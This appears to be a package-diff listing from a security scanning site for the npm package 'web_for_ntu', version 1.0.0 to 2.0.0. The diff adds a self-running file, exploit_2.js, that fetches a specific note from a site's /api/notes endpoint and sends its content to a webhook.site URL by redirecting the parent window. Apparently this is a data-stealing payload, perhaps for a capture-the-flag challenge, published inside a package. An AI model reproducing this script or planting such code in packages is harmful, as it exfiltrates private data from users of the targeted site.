web_for_ntu 1.0.0 → 2.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/exploit_2.js +9 -0
- package/package.json +1 -1
package/exploit_2.js
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
function leakDataFromEndpoint() {
|
2
|
+
fetch('/api/notes?id=a83ed14e-8c1c-43c3-ad7a-b5393ad85a3d')
|
3
|
+
.then(response => response.json())
|
4
|
+
.then(note => {
|
5
|
+
window.parent.location.href = `https://webhook.site/7b314372-817b-4fbd-a459-8c71d3be3bbd?` + encodeURIComponent(note.content);
|
6
|
+
})
|
7
|
+
.catch(error => console.error('Error:', error));
|
8
|
+
}
|
9
|
+
leakDataFromEndpoint();
|